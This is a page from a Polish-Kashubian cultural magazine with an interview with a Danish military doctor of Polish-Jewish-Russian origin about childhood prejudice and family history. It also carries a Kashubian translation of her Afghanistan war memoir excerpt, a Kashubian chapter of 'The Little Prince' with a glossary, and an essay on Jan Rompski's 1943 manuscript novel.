To było różnie. Bo dużo dzieci sąsiadów tłukło i mnie, i mojego brata. Za to, że mój ojciec był Żydem, a mama Rosjanką. A moje imię Wiera jest typowo rosyjskie. Więc jak my się chcieliśmy bawić, to bili nas, kopali, pluli na nas, aż matka powiedziała, żebyśmy się bronili. W szkole podstawowej leżałam długo w szpitalu, bo miałam zapalenie stawów i jak chodziłam o kulach, to mi podstawiali nogę. I to było moje dzieciństwo. Bawiłam się czasami z jedną dziewczynką, ona nie była Żydówką ani pół-Żydówką, ani pół-Rosjanką, ale jej ojciec był bardzo biedny. Był szewcem i oni mieszkali w piwnicy. Ale inne dzieci z nią nie chciały mieć nic wspólnego, bo widać było, że to bardzo biedna rodzina była. Akceptację znalazłam dopiero w liceum, gdy poszłam do harcerstwa, tam mnie zaakceptowali taką jaką jestem. Ale ja też muszę pamiętać, że tatuś mi opowiadał, jak w 1967 roku, gdy go wyrzucili z pracy za Gomułki, to przyszli jego starzy koledzy, żeby mu pomóc i tatuś dostał pracę jako pikolo, taki co pomaga w fabryce. I potem jeszcze inni próbowali mu ekonomicznie pomóc. Przynosili mu jakieś żarówki, to jakaś firma elektryczna była. To, że oni mu te żarówki dawali, może było trochę nieuczciwe. Ale w ten sposób próbowali mu pomóc. Także byli też ludzie, którzy chcieli pomóc.

A jak to wyglądało, kiedy jako nastolatka przyjechałaś do Danii?

Jak myśmy przyjechali do Danii, to najpierw mieszkaliśmy na takim okręcie, wtedy przybyło do Danii 2-3 tysiące ludzi pochodzenia żydowskiego, w większości pół-Żydzi jak ja, ale „cali” Żydzi też byli, to nie ma znaczenia. Ale było bardzo dużo szlachetnych Duńczyków, co nam pomagali. Myśmy nic ze sobą nie mieli. Oni przynosili odzież, meble, zapraszali nas na różne imprezy. Ale jak poszłam do liceum w Kopenhadze, to ono było w dzielnicy, gdzie jest prostytucja, narkomania, alkoholizm. I w tej mojej klasie to się czepiali niektórzy, nie wszyscy, ale niektórzy czepiali się mnie i mojego kolegi Marka, który także był pół-Żydem. Rozrabiali jak wszyscy młodzi ludzie, ale zawsze spychali winę na mnie i Marka. I wtedy dostałam bzika, bo sobie pomyślałem: w Polsce mnie nie akceptowali jako człowieka, w Danii mnie też szkalowali. Myślałam wtedy, że skoro i Duńczycy nie chcieli mnie akceptować, to ja do Izraela mogę sobie wyjadę, bo na czole wtedy nie jest napisane, jakiego ja pochodzenia jestem. I jedyne do czego tęskniłam, to żeby być zaakceptowana jako człowiek. Więc w Danii też są problemy i to jest typowe, że problemy były wśród nieuków i tam gdzie jest biedota, gdzie się nie ma wykształcenia. A ci, co pomagali ludziom, to na ogół byli ludzie wykształceni. I to jest dowód jeszcze raz na to o czym mówię. Jeśli ludziom da się wykształcenie, możliwość pracy i możliwość wrzucenia czegoś do garnka, to nie mają potrzeby, żeby być złośliwym i zawistnym.

A kiedy przyszedł ten czas, że w końcu poczułaś się akceptowana?

To było w trzeciej klasie licealnej. Ja się pobrałam wtedy z moim małżonkiem między drugą a trzecią klasą, a zaszłam w ciążę w trzeciej klasie, bo myśmy nie chcieli być starymi rodzicami. Jest taki obyczaj w Kopenhadze, że jak się zda maturę, to się biega naokoło w centrum i wtedy właśnie ktoś zauważył, że mój brzuch jest trochę duży i spytał, czy ja jestem w ciąży. I wtedy nagle zaczęli uważać na mnie, gdzie ja mam siedzieć, uważać, bym nie daj Boże nie upadła i wtedy zauważyłam nagle akceptację, bo miałam mieć dziecko z Duńczykiem. Wtedy właśnie mnie zaakceptowali.

Opowiadałaś, że jak jechałaś pierwszy raz na Bałkany, to tak naprawdę medycy nie byli przygotowani na to, co tam może ich spotkać i że to były przeżycia traumatyczne. Ale gdy jechałaś potem już w inne miejsca, do Afganistanu, wiedziałaś, co Cię czeka, a mimo tego chciałaś pomagać na wojnie z własnego wyboru. Dlaczego?

To zdaje się, że i przez moje pochodzenie, i przez historię. Dlatego, że jak byłam dzieckiem, to się opowiadało o harcerzach i sanitariuszach w powstaniu warszawskim, o tym jak pomagali ludziom, nawet dzieci. A poza tym dwóch przodków z rodziny od strony mojej mamy, która pochodzi ze staroruskiej szlachty, było chirurgami wojennymi w carskiej armii. I tak mi się wydaje, że to, że się ratuje ludzi i się nie patrzy, czy samemu się jest zagrożonym, to jest najlepszy uczynek lekarski. Żeby ratować ludzi. A to, że strzelają naokoło… to po prostu dla mnie ideał był, ci moi przodkowie. Taki wielki ideał, że ludzie ratują i nie myślą o sobie, obojętnie co się dzieje, nieważne, że strzelają i granaty wybuchają. I chyba stąd to się wzięło. Około 1,5 roku przed wyjazdem z Polski byłam harcerką i nas uczono jak się strzela, jak maski gazowe działają. I uczono nas, że jak kraj będzie zaatakowany, to my harcerze musimy go bronić. Sądzę, że od tego czasu to siedziało we mnie. Że chcę jakimś wojakiem być i jednocześnie lekarzem, i chcę ratować życie.

Historia Twojego rodu to też niesamowita opowieść.

Mój protoplasta nazywał się Małóm (w literaturze polskiej znany jako Mał – przyp. autor) i był księciem plemienia Drewlan, którzy zamieszkiwali dzisiejszą Ukrainę. On chciał poślubić księżniczkę Olgę, której męża zabił. Mój prapradziadek był marszałkiem carskiego dworu i jego zamordowano razem z carem Mikołajem II. Z babki strony moja rodzina nazywała się Runicz, a dziadek był pół-Serbem. I on też był lekarzem, chirurgiem u cara, który zginął na Kamczatce razem z białymi, bo nie chciał iść do komunistów, do czerwonych. A drugi też był lekarzem i też zginął, ale niedawno się okazało że ktoś z rodziny uciekł na Maltę, on także był lekarzem i jego potomkowie tam do dziś żyją.

Co myślą o tej bardzo skomplikowanej, ale i arcyciekawej historii rodzinnej Twoje dzieci?

Mój dziadek miał tylko dwoje dzieci. Syna z czwartej żony i moją mamę. I jego syn miał tylko jednego syna, który się nazywał Misza i który zaczął szukać informacji o naszym rodzie. I znalazł w Moskwie w bibliotece historię naszej rodziny, spisaną przez naszych przodków. Tam jest genealogia od X wieku. Ale Misza chciał być popem i nie miał dzieci. To pomyślałam sobie, że skoro moja rodzina jest taka stara, to moje dzieci muszą o tym wiedzieć i spytałam moich trzech synów, skoro ród po Miszy zaginie, czy nie chcą przyjąć nazwiska po mojej matce. I cała trójka przyjęła to nazwisko i teraz piątka moich wnuków też się nazywa Małamá. Ale okazało się, że Misza już nie ma chęci zostać duchownym, ożenił się i ma trzech synów. Zatem ród Małamá dalej trwa.

Co wiesz o Kaszubach?

Ja bardzo malutko wiem. Oczywiście żeśmy słyszeli w szkole o Kaszubach, że Kaszubi też się bili o swoją wolność. To nam w szkole podstawowej już mówili. Na moim ostatnim obozie harcerskim na Kaszubach wieczorem było ognisko i żeśmy okolicznych mieszkańców zaprosili i niektórzy zaczęli mówić po kaszubsku i ja nic nie mogłam zrozumieć. Dlatego to mnie bardzo ciekawi, co to są za ludzie, czy to są jacyś potomkowie Wikingów? Mam wrażenie jakby kaszubski to była taka mieszanka skandynawskiego, polskiego i czegoś jeszcze innego, ale nie wiem czego. Czytałam historię Danii i czytałam o księciu kaszubskim, którego usynowiła nasza królowa Małgorzata i który został potem skandynawskim królem. Nazywa się po duńsku Erik af Pommern, Eryk Pomorski.

Mamma doc: Krigslæge på mission (2011) – vëjimk
Wiera Małamá Lorentzen
z denscjégò jãzëka tłom. Macéj Banjdur

– Shit! Granôtnjik! – wołô Casper, dovódca woza. Vjidzã jak sã krëje za lúkõ, cjéj maszinjévera zapãcała salvõ sztëk dalé. – Dochtorkò, natëchstopach vëcignjice pistólã! – zakòmanjdérovôł. Jô vjém, że sã zrobjiło pòvôżno. Jeżlë bõdzemë mùszëlë wostavjic wóz, mùszã mjec brónj v pòszëkú – temù, że nji móżemë jã wostavjic, co wona bë vpadła v rãce talibóv, ë temù, cobë sã wobronjic búten, gdze kùle dërch pãcajõ v metalovi srõb Piranjijé. – Co tacji neuhausen móże tam pòmòc? – jô pitajã sama se, cjéj jô nalazła pistólã. Krev v żëłach chùcé bjegnje, cjéj mëszlã wo vinscim na vestrzódk placë bòju, terôz jednak jezdzimë donõd a nazôd, co talibòvje bë mjelë trúdnjé nas wustrzelëc. – Nilusz (śp. mąż Autorki – przyp.), jô bë tak barzo chca wuzdrzec ce zôs – mëszlã. Mòje serdce bjije jak hômer ë jô jem gvës, że wono je czëc chòc strzód głëszõcëch eksplozij. Mëszlã wo żôlnérzach, gazétnjikach ë sanitariuszach, co tëch talibòvje mjelë vzãté v pònjimanjé. Przedstôvjóm so njeprzëjemné scenë, ale zmùszóm sã do racionalnégò mëszlenjô. Jô jem woficéra, dochtór ë bjałka. To mje robji vôrtnoscovõ pònjimanckõ. Jô so przëbôczajã z kùrsóv, że jidze wó to, co człovjek bë béł pòrivaczóm przëgódni, jeżlë chce przeżëc. Przëszło mje do głovë, że móm vzãté mët svòjã gitarã. – Jô bë jim Bobóv Dylanóv lëfórka tak szëkùtała, co wonji bë jesz pjenjãdze dalë, cobë bëlë mje lós. – gôdajã do se. Koncenjtrëjã sã téj na Niluszu, chtëren żdże doma. Cjéj zamknã woczë, vnet czëjã jegù remjona vkół se ë zdrok jegù cemnobrúnëch, żôlõcëch sã dlô mje woczi, ë to daje mje wubëtk, chòcô búten trëvô bój. V mëslach mògã czëc jak rzecze: le spòkójno, bjałeczkò, jesz przindzesz dodóm do mje. Słova przënoszõ mje wodpòczëcé. Mùszã sã vzic v nacht, bò chòc nje pòmògã ve strzélanjim, mògã zrobjic co le pòtrafjã, bë knôpji mjelë jak nôlepszé varëncji svòjã robòtã robjic. – Chcesz të kavë? – jô pitajã dovódcã. Tú bënë je casno ë gòrõco, a vjém, że v gardle robji sã sëchò, cjéj adrenalina skôcze. Nódto kava pòmôgô sã wobdac. Mòji knôpji sõ wubronjoni le v maszinpistóle, ale jesz na vjérzk sõ téż żôlnérze v Worzłach z cãżcjimi maszinjéveramë, chtërni robjõ co mògõ, żebë domòglë talibóv na terenje za vjoskõ. Nji móm pòjmjenjô jak dłúgò varô bjôdka. Pò jednémù mje sã vjidzi to blós cjile sekùnjdami, pò drëdzjémù móże mómë tú vësedzałé vjele dnji. Je tak, cjéjbë czas v wojnje sã rozmił. Nji mògã njic zrobjic, téj jak jú móm dóné knôpóm kavë ë mjodnosci, vëjimajã roman wo Jindiôkach z Nordové Americji v dobje kamjenja ë bjerzã sã do czëtanjô. – Kòpanjita mje abò szmërgnjita czim v głovã jak bõdze vama co do brëkù – krzikajã do dovódce. Za chtëren czas mògã czëc słabé brzëmjenjé, zvãk znôjma robji sã vëszszi ë vëszszi. – Vspjarcé z pòvjetrzô – mëszlã. Vnim przez tumùlt przebjijô sã zvãk eksplozëjé. Zemja drëżi pòd Piranjijõ. Pònemù sã stało sztël. – Jú je pò vszëtcjémù – scvjerdzô dovódca. Dostajemë przez redio rozkôz jachac dalé. Cjéj vëjéżdżómë na wotemkłi teren, rëchtëjemë môl do schronjenjô ë stôvjómë lôdzjer. – Pòj le tu zazdrzec – gôdô dovódca. Piranjijô je czësto pòdzúravjonô, rëmnjicji z wognjiczim pòtłëkłé v përzënë a réfë pòprzebjité. – Véjle, dzisô më dostalë vcjidłé.

Wywiad został przeprowadzony w 2015 roku i ukazał się w Skrze w numerze 1/2015 (4), dostępnym w archiwum.

„Môłi princ”: rozdział VII (przeczytaj fragment)

VII

   Nó tim pjõtim dnjú, dërch dzãka barankòvi, ta tajemnosc żëcô môłéwo princa wosta mje wobjavjonô. Mje njic, tobje njic, won mje spitôł dërno, cjéjbë béł dłúgò wó tim rozmiszlôł v cëszi:
– Cjéj barank rôd rże krze, zgrëze won téż kvjatë?
– Barank zgrëze vszëtkò, co le trafji.
– Navetka kvjatë, co majõ kòlce?
– Jo. Navet kvjatë, co majõ kòlce.
– Téj docz słúżõ të kòlce?
To jô nje vjedzôł. Jô sã tenczas barzo zagútorził przë vëkrõcanjim jedné wokrop zarznjãté szrúvë z méwo mòtora. Jô béł dichtich njewubëtni przóz tã avarëjõ, jakô zaczã vëzdrzec barzo pòvôżno, a woda do pjicô, chtërna sã vëczerpòva, kôza mje mjec strach przéd tim nôgòrszim.
– Docz słúżõ të kòlce?
Môłi princ njigdë nje zrezignovôł z pitanjô, cjéj jú rôz mjôł je pòstavjoné. Jô béł rozgòrzoni przóz nã szrúvã ë jem wodrzek bële co:
– Kòlce njidoczewu nje sõ, kvjatë jich majõ le blós przez svòje czësté njebëlnjictvò.
– Ach!
Le pò sztóce cëszé won vëbùch se żôlbõ do mje:
– V to jô nje vjerzã! Kvjatë sõ krëché. Wonë sõ letkòvjérné. Wonë sã barnjõ jak mògõ. Në mëslõ, że sõ grozné se svòjimi kòlci…
Jô njic nje wodkôzôł. Vnenczas jô so rzek: «Cjéj ta szrúva dërch mdze trzima, trzasknã jã młotkã». Môłi princ zôs przecjid mòje mësle.
– Ë të mëslisz, że kvjatë…
– Ale njé! Njé! Jô njic nje mëslã! Jô wodrzek bële co! Jô jem zajãti pòvôżnëmi zachami!
Won sã nó mjã przëzdrzôł czësto baf.
– Pòvôżnëmi zachami!
Won vëzdrzôł nó mjã z mim hômrã v rãce a pôlcami czôrnëmi wod smarë, wudzjibłéwo nad czims, co sã mù vëdôva wokrop brzëdcjé.
– Të gôdôsz jakò ti wustni!
To mjã përznã zasromało. Ale won njemjiłosernje dodôł:
– Të vszëtkò pòmachcesz… të vszëtkò pòmjészôsz!
Won béł pò prôvdze barzo rozjadovjoni. Pòtrzõsôł na vjetrze svòjimi złocanëmi vłosi:
– Jô vjém jednã planétã, gdze je jeden karmjinovi pón. Ten njigdë jesz kvjata nji mô wuwonjałé. Ten njigdë nji mô gvjôzdë vjidzoné. Ten njigdë nji mô żódnewo człovjeka kòchóné. Won njigdë nje stvòrził njic jinszéwo jak anekse. Ë ten całi dzénj won pòvtôrzô dëcht jak të: «jô jem pòvôżni człovjek! jô jem pòvôżni człovjek!» a chòdzi bùszni cjéjbë knëpel mjôł zjadłé. Le to nje je żóden człovjek, to je grzib!
– Co?
– Grzib!
Môłi princ béł terô jaż bladi wod gòrzë.
– To sõ mëlionë lat jak kvjatë vëtvôrzajõ kòlce. Ë to sõ mëlionë lat jak mjimò tewu barancji grëzõ kvjatë. Ë to nje je vôżné próbòvac pòchvacëc dlôcz wonë sã tak ansztrengùjõ, żebë vëprodukòvałë kòlce, co njidocz jim nje słúżõ? Nje je vôżnô ta wojna tëch barankóv ë tëch kvjatóv? Nje je to vażnjészé a pòvażnjészé jak në anekse newu sëtéwo czerzvjonéwo pana? A cjéj jô sóm znajã ten jedúrni kvjat na svjece, co nje egzistëje gdzejinga jak blós na mòji planéce ë jeden môłi barank móże jen jednim rúksã zgładzëc z tewu svjata, tak prosto, na jednim pòrénkú, nje merkajõcë, co won robji – to nje vôżné?!

    Won sã sczerzvjenjił, a téj cignõn dalé:
– Cjéj chto kòchô ten kvjat, jedúrni mjedzë mëlionami, mëlionami gvjôzd, temù signje, żebë béł szczestlëvi, cjéj na njewu zdrzi. Won so rzecze: «Mój kvjat je gdzes tamò…». Le cjéj ten barank zgrëze mù ten kvjat, to bõdze tak, cjéjbë jemù vszëtcji gvjôzdë zgasłë! Ë to nje jesta vôżné!
Won nji móg rzec njic vjicé. Nôgle sã rozpłakôł. To sã znocëło. Jô wodszmërgnõn mòje pòrzõdcji. Jem sã smjôł nad mòjim młotkã, szrúvõ, pragnjõczkõ ë smjircõ. Na jedni gvjezdze, jedni planéce, na mòji, na Zemji, béł môłi princ a brëkòvôł pòcechji! Jô wo vzõn v remjona a kòlibôł. Jem mù rzek: «ten kvjat, chtëren të kòchôsz, nje je v njebezpjekú… jô nacéchùjã napëszcznjik tvòjémù barankòvi… jô cë nacéchùjã zôstavã dlô tvòjéwo kvjata… jô…». Jem nje vjedzôł, co jesz rzec. Jô sã czúł wokrop njezgrabno. Jô nje vjedzôł jak wo dosignõc, jak sã z njim zjednac… To je barzo tajemni plac, na krôjna łzi!

Słovôrzk:
dërno stanowczo, hardo
zagùtorzëc sã być czymś zajętym
szrúva śruba
mòtór silnik
njewubëtni niespokojny
njebëlnjictvò nikczemność, niecność
żôlba pretensja, żal
hômer młot
ansztrengòvac wysilać
gdzejinga gdzieindziej
sëti tłusty, gruby
jednim rúksã za jednym zamachem
pragnjõczka pragnienie
pòrzõdcji narzędzia
napëszcznjik kaganiec (neologizm)
zôstava osłona, ochrona

Przeczytaj poprzedni rozdział TU.

 

Wurvanô spjéva – najnowsza powieść w języku kaszubskim!

Oniryczne wizje końca świata, szaleńcza miłość, femme fatale, cudowne dziecko – nadzieja nowego początku narodowego odrodzenia Kaszubów!” Etatowy Recenzent Skrë nie kryje zachwytu po lekturze nowej kaszubskojęzycznej powieści. Czytelnicy nie mogą się już jej doczekać i zastanawiają się, który ze współczesnych autorów zaskoczył nas wszystkich tą nową prozą. Roman Drzeżdżon, Grzegorz Schramke czy może Krystyna Lewna? Na pierwszy plan Wurvani spjévë wybija się temat tożsamościowy, ale jednocześnie autor tego utworu zdaje się rozprawiać z jakimś idealnym obrazem kaszubskiej rzeczywistości, któremu towarzyszyła wiara w nadzwyczajną siłę kaszubskiego ludu, jego poczucie jedności, religijność, pracowitość, gospodarność, a także w świętość kaszubskiej ziemi. Powieść nie pomija w zasadzie żadnego z tematów, które przez długie dekady stanowiły tabu w kaszubskiej literaturze.

Tymczasem… Co takiego? Owszem, tak. Chodzi o prozę Jana Rompskiego datowaną na 1943 rok! Muzeum Piśmiennictwa i Muzyki Kaszubko-Pomorskiej zleciło odczytanie jej z rękopisu, przepisanie w wersji elektronicznej, opracowanie redakcyjne i przygotowanie do druku w 2018 r. Aż do naszych czasów Wurvanô spjéva pozostaje w rękopisie.1 Jedynie dwa fragmenty tej prozy ukazały się w kaszubskiej prasie. Pierwszy zaraz po II wojnie światowej, w roku 1945 w „Zrzeszë Kaszëbskji”, a drugi już po śmierci autora, co nastąpiło za sprawą Jana Trepczyka, przyjaciela Zrzeszińca, w 1972 r. w „Pomeranii”. O utworze tym niewiele było dotąd wiadomo. Autor datował tę powieść na 1943 rok, a miejscem jej napisania było Sianowo – taka notatka znajduje się na stronie tytułowej utworu. W Historii literatury kaszubskiej F. Neureitera znajduje się informacja, iż sam J. Rompski podawał, że powieść zaczął pisać w 1943 r. Po analizie, wspólnej z pracownikami MPiMKP w Wejherowie, charakteru pisma na 126 kartach rękopisu, odautorskiej numeracji stron, rodzaje atramentu i papieru, na jakim tekst powstawał, bardzo prawdopodobne wydaje się twierdzenie, że w pisaniu powieści miała miejsce jakaś dłuższa przerwa. Prawdopodobnie rozdziały od I do XVIII (z wyjątkiem rozdziału V) pisane były nieprzerwanie, zaś ostatnie trzy, od XIX do XXI, pochodzą z innego okresu, być może już powojennego, jednak nie ma pewności co do tego, jaki konkretnie czas może tu wchodzić w grę. Tezę o dwóch różnych okresach, w których autor tworzył swoje dzieło, może poświadczać także i to, że koniec rozdziału XVIII został skonstruowany tak, iż w miejscu tym mogłaby zakończyć się cała powieść. Z kolei rozdziały następujące później zdają się nieco zmieniać, jakby łagodzić katastroficzną wymowę utworu.

Nieliczne osoby, które czytały 252-stronnicowy rękopis powieści Wurvanô spjéva, bez wykazania szczególnej analizy losów jej bohatera, sygnalizowały, że to kontynuacja Żëcô ë przigód Remùsa A. Majkowskiego lub też widziały w tym utworze epopeję będącą obrazem Kaszubów w przełomowym okresie międzywojnia i podczas II wojny światowej. Podawano, że fabuła powieści rozpoczyna się w dwudziestoleciu międzywojennym i doprowadzona jest do okresu powojennego.2 Po pogłębionej lekturze dzieła, udało się ustalić, że choć na początku utworu pojawia się data 1929 r. – w kontekście budowy Gdyni, sytuacji Kaszubów w tym mieście i światowego kryzysu końca lat dwudziestych XX wieku – to w gruncie rzeczy akcja Wurvani spjévë toczy się w bardzo krótkim przedziale czasu: latem i jesienią 1939 r. Główną postacią powieści jest Vartisłav Mirchov, którego wiek można określić na około 25-26 lat. Rzecz dzieje się głównie w Wejherowie, w którym Mirchov mieszka, pracuje zawodowo i jako artysta ma określoną pozycję w tamtejszym mieszczańsko-inteligenckim towarzystwie. Ważną rolę w powieści odgrywają także Kartuzy, z okolic których pochodzi postać wykreowana przez J. Rompskiego. Wizycie Mirchova w mieście jego młodości towarzyszyć będą wyjątkowe zdarzenia, które nie pozostaną bez wpływu na jego losy. Trzecim najważniejszym miejscem jest Toruń, ówczesna stolica tej części Kaszub i Pomorza, która była w granicach II Rzeczpospolitej od 1920 r. Tam przeniósł się Chmiel, współtowarzysz Mirchova w odrodzeniowej pracy i tam zrzeszają się aktywni Kaszubi.

(Artur Jabłoński oraz manuskrypt Wurvani spjévë)

Dzieło J. Rompskiego może być zinterpretowane jako elementu dialogu pokoleniowego odbywającego się pomiędzy Młodokaszubami, których liderami byli literaci tacy, jak Aleksander Majkowski, Jan Karnowski czy Leon Heyke i Zrzeszińcami, z Janem Trepczykiem, Aleksandrem Labudą i Janem Rompskim na czele. Jan Rompski poprzez swoją twórczość artystyczną i w tej twórczości realizował założenia ideologiczne Zrzeszińców, podobnie jak czynili to pozostali literaci stanowiący tę grupę. Ich kanon ideowy można sprowadzić do następujących pryncypiów: 1. kaszubski to autonomiczny słowiański język; 2. Kaszubi są odrębnym etnicznie narodem, a jednocześnie czują się częścią narodu polskiego w znaczeniu politycznym, państwowym; 3. siłą przewodnią Kaszubów jest rodzima inteligencja. Wszystkie te wątki J. Rompski wplótł w swoją powieść. Odnajdziemy zatem w Wurvani spjévje mit Wielkiego Pomorza, którego Kaszubi, jako niedobitki sławnego na lądzie i morzu narodu Pomorzan3, są strażnikami i które stanowi ich ojczyznę ideologiczną. Oczami Mirchova ujrzymy postać księcia Świętopełka Wielkiego, średniowiecznego władcy Pomorza Gdańskiego, twórcy jego potęgi i obrońcy niezawisłości. Stanie przed nami król Przemysł z wielkopolskiej linii Piastów, który w 1282 r. zawarł układu w Kępnie z Mściwojem, następcą Świętopełka, na mocy którego objął ziemię kaszubską we władanie po śmierci Mściwoja. Przemkną nam przed oczami zastępy wojsk krzyżackich, które wkraczając w listopadową noc 1308 r. do Gdańska, odebrały Kaszubom niezawisłość. W naszą duszę zajrzy Smętk, którego Rompski, podobnie jak Majkowski, utożsamia przede wszystkim z zewnętrznymi zagrożeniami losu Kaszubów oraz jego towarzyszki sovë, które w powieści A. Majkowskiego swymi skrzydłami gaszą iskry mające rozpalać do czynu Kaszubów. Wreszcie stanie przed nami i sam Remùs, rycerz kaszubski bez vjarë, chtërna zgrużdżoni, wumarłô koło jego nóg sedzi (s. 191).

Na kolejnych kartach powieści J. Rompski będzie rozwijał opisane powyżej motywy łącząc je z myślą o języku, narodzie i roli kaszubskiej inteligencji. Będzie się starał ponadto umiejscowić Kaszuby w międzynarodowej polityce, rozważając kroki wykonywane przez nazistowskie Niemcy czy geopolityczne położenie Polski, której przecież zagraża także Rosja od wschodu. Zainteresuje się Gdańskiem, w którym rozkwitł niemiecki narodowy socjalizm. Pomyśli o miejscu Kaszub w świecie po nieuchronnej wojnie, do której zmierza ludzkość. Rozbuduje oniryczne wizje lepszego świata, a także wprowadzi nowe, katastroficzne scenariusze wynikające z przeświadczenia Mirchova o nieuniknionej zagładzie obecnej formy cywilizacji. Nie uniknie katastrofy również wszystko to, co składa się na pojęcie kultury Kaszubów, a wizję unicestwienia własnej, kaszubskiej przestrzeni, Mirchov namaluje na płótnie, które zatytułuje Potępienie.

Obraz powstawał w dusznej atmosferze, którą tworzyło nie tyle gorące letnie powietrze, co niepokój ludzi o własny los. Nie ma nawet pewności, czy uchroni ich żarliwa wiara i oddawanie czci Bogu w wypełnionym po brzegi kościele podczas mszy świętej, na której wierni śpiewają błagalne suplikacje. Przeprowadzana jest mobilizacja cywili. Już słychać dalekie odgłosy bombardowań, niepokojące są doniesienia w radiu i prasie, czy polityczne przemówienia sączące się z głośników na ulicach Wejherowa. Połowę płótna wypełnia do kresu wzburzone morze, którego bałwany sięgają nieba. Od strony zachodzącego słońca, którego nie widać, idzie długa, kręta i jak krew czerwona błyskawica. Z chmury wyłania się postać kształtem podobna do młodego smoka, z którego rozdziawionego pyska wydobywa się wielki płomień. Resztę nieba przysłania sobą Morlawa, zła bogini chorób i śmierci, namalowana z skrzydłami nietoperza, co ma podkreślić upiorny charakter jej posłannictwa. Spod skrzydeł Morlawy wylatuje stado kruków lecące w stronę pól mieniących się złotymi kłosami żyta. Kosy żeńców, którzy tam pracują, ustawione na sztorc, mienią się czerwonym blaskiem błyskawicy, a oni sami znieruchomieli i patrzą na pysk potwora. Ogień potępienia ze smoczych trzewi spływa na zielone łąki, gdzie stoi zamek, a w nim wojsko spod znaku słońca. Jest też kobieta i dziecko. Ona nie przeżyje strawiona smoczym ogniem, zaś dziecko uratuje ogromny ptak z ogonem lwa odlatując z nim na pustynię. Pod skrzydłami Morlawy ginie zamek i żeńcy na swych szańcach.

Zanim jednak Mirchov z Wurvani Spjévë popadnie w katastrofizm, wywołany z jednej strony przeświadczeniem o nieuchronności wojny, a z drugiej osobistymi udrękami niespełnionych miłości, realizował się będzie jako urzędnik w środowisku miejskim Wejherowa oraz malarz i literat wśród przyjaciół, z którymi spotyka się w Toruniu. On sam i jego towarzysze odnoszą sukcesy w pracy, która służyć ma temu, bë ti zemi dac nazôd ji człovjeka. Widzą, że kvjatuje krutka kaszëbskjégo żëcô. Jednocześnie jednak muszą mieć wolę mocną jak stolem i twardą jak klif, jeśli chcą zdrov zorno zapravic na role. Niełatwo jest być prorokiem i wśród swoich, szczególnie jeśli ci nie chcą zmian lub ich nie rozumieją. Najczęstsze reakcje tzw. prostego ludu, wyraża w powieści J. Rompskiego gospodyni i ciotka głównego bohatera – Barzónka, dopuszczona przez autora do głosu jako jedyna w zasadzie przedstawicielka warstwy nieinteligenckiej. Mówi do Mirchova: Co wa sobie ùdba jesta, mòże was wieczną biédã kòsztowac – czë temù Kaszëbie nie je równo, chto mù bótë robi, bële miôł w czim chòdzëc? Część rodzimej inteligencji ma podobne zdanie. Sam Mirchov dzieli więc Kaszubów na tych aktywnych i biernych. Wśród tych pierwszych wyróżnia z kolei takich, co przeszli regionalną szkołę i uznają kaszubszczyznę za gwarę, a lud za wykoślawionych Polaków. Jest ich więcej niż takich, jak on sam, którzy patrzą na kaszubsczyznę, jak dzecko na wukochoną matkę, mówią o języku kaszubskim i kaszubskim narodzie. Inni najczęściej widzą herezję w takim pojmowaniu, łączą koncepcje narodu z państwem, do którego taki naród dąży, gdy tymczasem dla Mirchova to dwa różne pojęcia, nie wynikające jedno z drugiego. Najbardziej boli go, gdy szovjinjiscë polskji publicznie drwią z pojęcia języka kaszubskiego i narodu. Te rozmyślania Mirchova to oczywiste echo potyczek, jakie w rzeczywistości toczyli redaktorzy „Zrzeszë Kaszëbskji” z przedstawicielami inteligencji polskiej, odmawiającymi Kaszubom prawa do odrębności językowo-etnicznej.

Nowa sytuacja polityczno-militarna, o której nieraz dywagował Mirchov, pokrzyżowała plany jego i jego przyjaciół. Zjazd inteligencji kaszubskiej nie odbędzie się. Wobec nieludzkiego hitleryzmu, niewiary w możliwości państw Europy Zachodniej, niewiadomej, jaką będzie reakcja Rosji Radzieckiej, sprawa kaszubska będzie musiała pozostać powiązana z sytuacją Polski. Mirchov najlepiej wie, że przez 19 lat rządów nad Pomorzem, Polska nie raz pokazała, że nie kocha Kaszubów, którzy oddali jej przecież morze, tak pilnie strzeżone przez wieki trwania na południowym brzegu Bałtyku. Wie, jak traktowano Kaszubów w budującej się i rozwijającej na nadmorskim brzegu Gdyni, gdzie na przykład robotników pochodzącą z Kaszub, w sytuacjach kryzysowych, zgodnie z obowiązującym prawem, zwalniano w pierwszej kolejności. Jednak w Wurvani Spjévje powie: momë v wudzale przeżivac ji [Polski, A.J.] tragedie i też vjalgosc. Nadzieja na sukces projektu narodowego upodmiotowienia wszystkich Kaszubów pod przywództwem warstwy inteligenckiej polegnie we wrześniu 1939 roku w wojskowych okopach na Kępie Oksywskiej. Jak chciał autor powieści, to tam zamilkną nagle dźwięki odwiecznej pieśni nuconej przez pokolenia Kaszubów. W obliczu wrześniowej klęski, urwą się pienia Zrzeszińców.

Jest jeszcze jeden motyw w powieści Jana Rompskiego, którego nie można pominąć, by zrozumieć Wurvaną spjévę. Mirchov nie umie sobie poradzić z ułożeniem relacji pomiędzy misją, której się oddaje, a miłością do kobiety, którą pozostawił, by realizować swoje posłannictwo. W marzeniach, snach i wizjach Stazja/Irka/Ir jest z nim jednak każdego dnia. Cierpienie, które nim targa, bliskie jest niemal obłędowi. Dowiaduje się, że jego ukochana przyjedzie z Kartuz do Wejherowa na Święto Pieśni, chce ją ujrzeć, spotkać się z nią. Dostrzega Ir w grupie przyjaciół, idzie za nią krok, w krok. Wreszcie stają twarzą w twarz, ale Mirchov bez słów ucieka i szuka schronienia w lesie. Ból duszy, wynikający z samotności i braku możliwości zjednoczenia się z ukochaną, odbiera Mirchovovi chęć do życia. Nagle widzi Ir obok i otwiera przed nią ramiona:

I padła zemglonô w jego objęca. Czôrni jedvôb krotkji seknji, jakbe mgłą beł kol ji cała, rozpôlonego, dreżącego, przëlgnjętego do jego. Wotemkła wocze, chtërnich rzęse zvilżełe sę jakbe rosą zapôdającego słuńca. Całovôł tę rosę, całovôł gorąc ji lep, vjił sę jak wotrok szukając cepła ji pierse. Nje bronja sę… Zamglonima woczama, ach to njebo wotemkłi, zdrza v njego, gnąc sę svjim całim całem trzima go w klinje, dvima rękama gładza i wobjima nagosc jego cała… A łóno ji degocąci, zvarti z njim, spravjiło słodkosc womglivającą… njeskonczonosc dołożnosce… prężełe sã jich cała, jak łękji, z chternech za chvilę mô westrzélec novi żecé. Pjeszczeł ję, won co le tesknjił do nji… Całovôł ji stopë, ji cało, szaloni v svjim wognju mjilosce, v przepłivje redosce, dzar jedvôb ji seknje… „Ir, Ir” szeptôł ji do wucha. „Ir…” szeptało całovanje jego. „Ir” szeptôł woddech jego.

